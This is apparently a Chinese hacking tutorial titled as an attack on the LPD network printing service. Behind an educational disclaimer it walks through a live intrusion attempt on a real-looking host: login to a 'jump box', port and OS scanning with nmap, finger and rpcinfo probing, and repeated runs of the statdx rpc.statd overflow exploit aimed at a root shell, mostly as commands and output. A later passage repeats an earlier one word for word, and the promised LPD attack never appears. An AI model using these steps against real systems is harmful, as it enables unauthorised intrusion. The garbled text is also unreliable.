关于网络打印服务攻击的介绍

此文的目的不在于教人入侵Linux服务器,而是为了提高自身的技术和加强网络管理员的安全防范意识。仅此而已!粗心大意的网络管理员应该明白:由于你们一个小小的操作失误可能会导致整个网络全面沦陷!本文主要是围绕LPD:网络打印服务的攻击而进行的。

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首先确定目标,假设是:www.XXX.com

先让俺看看是不是连得上:

以下是引用片段:

C:\ping www.XXX.com   
Pinging www.XXX.com[202.106.184.200] with 32 bytes of data:   
Reply from 202.106.184.200: bytes=32 time=541ms TTL=244   
Reply from 202.106.184.200: bytes=32 time=620ms TTL=244   
Reply from 202.106.184.200: bytes=32 time=651ms TTL=244   
Reply from 202.106.184.200: bytes=32 time=511ms TTL=244   
Ping statistics for 202.106.184.200:   
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),   
Approximate round trip times in milli-seconds:   
Minimum = 511ms, Maximum = 651ms, Average = 580ms   
嘻嘻—不但连得上,速度还不错……   
先telnet看看banner:
C:\>telnet www.XXX.com

遗失对主机的连接。

再试试ftp,

以下是引用片段:

C:\>ftp www.XXX.com   
Connected to www.fbi.gov.tw.   
220 XXX-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready.   
User (www.XXX.com:(none)):

wu-2.6.1看来有点眉目了。这台机器像是RedHat7.0!首先必须确认一下,连上俺的跳板:

以下是引用片段: 

C:\>telnet xxx.xxx.xxx.xxx   
Red Hat Linux release 7.0 (Guinness)   
Kernel 2.2.16-22smp on an i686   
login: fetdog   
Password:   
bash-2.04$

拿nmap扫描器(下载地址:http://www.heibai.net/download/Soft/Soft_2812.htm),看看其中的奥妙~~~

以下是引用片段: 

bash-2.04$nmap -sT -O www.XXX.com   
Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )   
WARNING! The following files exist and are readable: /usr/local/sha   
-services and ./nmap-services. I am choosing /usr/local/share/nmap/   
s for security reasons. set NMAPDIR=. to give priority to files in   
irectory   
Interesting ports on (www.XXX.com):   
(The 1520 ports scanned but not shown below are in state: closed)   
Port State Service   
25/tcp open smtp   
79/tcp open finger   
80/tcp open http   
111/tcp open sunrpc   
113/tcp open auth   
443/tcp open https   
513/tcp open login   
514/tcp open shell   
515/tcp open printer   
587/tcp open submission   
1024/tcp open kdm   
TCP Sequence Prediction: Class=random positive increments   
Difficulty=3247917 (Good luck!)   
Remote operating system guess: Linux 2.1.122 - 2.2.16   
Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds

打开的端口还挺多,这意味着入侵的可能性增加。79/tcp open finger ,先看看这个,不过linux没有finger用户列表这个漏洞。

以下是引用片段:

bash-2.04$finger @www.XXX.com
[www.XXX.com]
No one logged on.

再看看111/tcp open sunrpc 。近来rpc漏洞风行,不知道RH7这个东东会不会有?先看看再说!

以下是引用片段:

bash-2.04$rpcinfo -p www.XXX.com
program vers proto port service
100000 2 tcp 111 rpcbind
100000 2 udp 111 rpcbind
100021 1 udp 1024 nlockmgr
100021 3 udp 1024 nlockmgr
100024 1 udp 1025 status
100024 1 tcp 1024 status

看来有rpc.statd服务。来看看能不能远程溢出拿个rootshell。

以下是引用片段:

bash-2.04$./statdx -h
statdx by ron1n
Usage: stat [-t] [-p port] [-a addr] [-l len]
[-o offset] [-w num] [-s secs] [-d type]
-t attack a tcp dispatcher [udp]
-p rpc.statd serves requests on [query]
-a the stack address of the buffer is
-l the length of the buffer is [1024]
-o the offset to return to is [600]
-w the number of dwords to wipe is [9]
-s set timeout in seconds to [5]
-d use a hardcoded
Available types:
0 RedHat 6.2 (nfs-utils-0.1.6-2)
1 RedHat 6.1 (knfsd-1.4.7-7)
2 RedHat 6.0 (knfsd-1.2.2-4)

看来并不支持RH7。还是继续尝试,把0-2全部试试看再说!start……

bash-2.04$stat -d 0 www.XXX.com
buffer: 0xbffff314 length: 999 (+str/+nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21

受挫,再试……

bash-2.04$stat -d 1 www.XXX.com
buffer: 0xbffff314 length: 999 (+str/+nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21

一样``继续

以下是引用片段:

bash-2.04$finger @www.XXX.com
[www.XXX.com]
No one logged on.

再看看111/tcp open sunrpc 。近来rpc漏洞风行,不知道RH7这个东东会不会有?先看看再说!

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